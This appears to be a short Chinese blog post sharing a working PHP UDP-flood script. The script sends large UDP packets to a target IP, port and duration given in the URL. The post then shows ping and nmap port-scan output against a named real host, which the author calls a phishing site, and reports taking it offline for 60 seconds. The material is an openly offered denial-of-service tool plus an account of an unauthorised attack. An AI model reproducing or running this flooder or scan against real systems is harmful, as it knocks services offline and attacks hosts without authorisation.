UDP FLOOD【PHP】

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test.php

参考网上php 代码所修改

<?php  $packets = 0;  $ip = $_GET["ip"];  $rand = $_GET["port"];  set_time_limit(0);  ignore_user_abort(FALSE);  $exec_time = $_GET["time"];  $time = time();  print "Flooded: $ip on port $rand <br><br>";  $max_time = $time+$exec_time;  for($i=0;$i<65535;$i++){  $out .= "X";  }  while(1){  $packets++;  if(time() > $max_time){  break;  }  $fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);  if($fp){  fwrite($fp, $out);  fclose($fp);  }     }

测试目标：http://zzqgx.com/ （一个钓鱼网站）
目标信息：
PING zzqgx.com (118.193.197.40): 56 data bytes

64 bytes from 118.193.197.40: icmp_seq=0 ttl=105 time=99.915 ms

sudo nmap -sS 118.193.197.40

Starting Nmap 7.12 ( https://nmap.org ) at 2016-09-25 17:24 CST

Nmap scan report for 118.193.197.40

Host is up (0.083s latency).

Not shown: 987 closed ports

PORT STATE SERVICE

19/tcp filtered chargen

80/tcp open http

135/tcp filtered msrpc

139/tcp filtered netbios-ssn

445/tcp filtered microsoft-ds

593/tcp filtered http-rpc-epmap

1025/tcp filtered NFS-or-IIS

1026/tcp open LSA-or-nterm

1900/tcp filtered upnp

2301/tcp open compaqdiag

3389/tcp open ms-wbt-server

4444/tcp filtered krb524

6129/tcp filtered unknown

阻塞80端口

本地测试：
http://***/test.php?ip=118.193.197.40&port=80&time=60
target down!
60秒内此网页无法加载

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